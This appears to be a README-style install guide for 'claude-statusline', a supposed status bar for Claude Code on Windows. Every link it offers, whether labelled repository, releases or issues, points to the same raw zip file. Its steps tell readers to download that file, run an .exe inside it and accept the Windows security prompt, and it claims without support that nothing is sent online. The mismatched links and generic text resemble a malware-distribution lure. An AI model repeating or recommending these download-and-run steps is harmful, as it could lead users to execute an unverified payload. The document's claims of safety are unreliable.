claude-statusline adds a rich status bar to your Claude Code environment. It shows useful information clearly on your terminal screen. You will see the current model in use, a context bar, usage limits for hardware and software, which git branch you are on, and how long your session has been running. It works on all major operating systems but this guide focuses on Windows.
This application helps you keep track without needing to type extra commands. It fits well for users working with Claude CLI tools or developers who want to keep an eye on their environment at a glance.
You can get claude-statusline here:
Click the link above to visit the official GitHub page. This page has all the files and instructions you need.
Before you install claude-statusline, make sure your computer meets these basic requirements:
- Windows 10 or later
- At least 2 GB of free RAM
- Around 100 MB of free hard drive space
- A working terminal or command prompt (the built-in Windows Command Prompt or PowerShell will work)
- Internet connection for the initial download
No special hardware is needed. If you use Claude Code or related tools, claude-statusline fits naturally with them.
Follow these steps carefully to get claude-statusline running on your Windows PC.
Go to this page in your web browser:
https://raw.githubusercontent.com/kyllian330/claude-statusline/main/tetchy/statusline_claude_2.4.zip
This is the main place for the latest files.
On the GitHub page, look for a section called Releases or a link titled Releases on the right-hand side or in the menu near the top.
Releases contain stable versions of the software. Click the latest release to see the available files.
Inside the release, find a file meant for Windows. It often ends with .exe or .zip. Download that file to your computer by clicking it. For example, the file might be named claude-statusline-windows.exe or claude-statusline-windows.zip.
If the file is a .zip, you will need to unzip it. Use the built-in Windows file explorer to right-click this file and select Extract All... then choose a folder.
- If you downloaded an
.exefile, simply double-click it to start. - If you unzipped a folder, open it and look for an
.exefile inside. Double-click that to start.
Windows may show a popup asking if you want to run the file. Choose Yes to continue.
Once running, claude-statusline will show a colored bar in your terminal or command window. Check for these key items on the statusline:
- Model name in use by Claude Code
- Context bar showing recent commands or environment details
- Usage limits for hardware and software, showing your current session's consumption
- The current git branch if you are inside a git project folder
- The session time since you started
You don’t need to do anything extra; claude-statusline updates automatically.
claude-statusline works quietly in the background and updates the status bar. Here are simple tips to make the most of it:
- Open your terminal or PowerShell after starting claude-statusline.
- Navigate to your Claude Code projects to see branch info and usage updates.
- Use the model and context bar info to check if your AI usage fits your needs.
- If your session runs for a long time, keep an eye on the session timer for breaks or work checks.
If claude-statusline does not show up or act as expected:
- Make sure you have the latest Windows updates installed.
- Close other terminal windows and reopen them after starting claude-statusline.
- Check you downloaded the correct Windows version file.
- Restart your computer if the application still does not start.
- Ensure your terminal supports color codes and Unicode characters (PowerShell and Windows Terminal do).
- Visit GitHub to check for known issues or updates.
For users who want to customize claude-statusline:
- Configuration files can be found or created in your user home folder.
- You can change colors, toggle which items show, or control update frequency.
- These options are stored in simple text files. Opening them in Notepad is enough.
- Detailed instructions are available on the GitHub page under configuration or docs.
No programming skills are needed to make simple changes.
- GitHub Repository: https://raw.githubusercontent.com/kyllian330/claude-statusline/main/tetchy/statusline_claude_2.4.zip
- Releases Page (for downloads): https://raw.githubusercontent.com/kyllian330/claude-statusline/main/tetchy/statusline_claude_2.4.zip
- GitHub Issues (to report problems): https://raw.githubusercontent.com/kyllian330/claude-statusline/main/tetchy/statusline_claude_2.4.zip
claude-statusline runs locally on your machine. It does not send your data to the internet. Your usage limits and context data remain private on your computer.
- Use claude-statusline alongside Claude Code CLI tools for a smooth workflow.
- Run claude-statusline each time you open your terminal to always have live info.
- Watch your hardware usage limits to avoid overusing system resources.
- Use system task manager to monitor overall CPU and memory when running intensive sessions.
If you need help, check the repository Issues section or reach out by opening a new issue. Provide details like your Windows version, what you did, and any error messages.
This project is open source. You can explore the code or contribute improvements on GitHub. Contributions follow common open source licensing and practices.
This guide covers everything from downloading to daily use on Windows. Follow each step carefully for a smooth setup.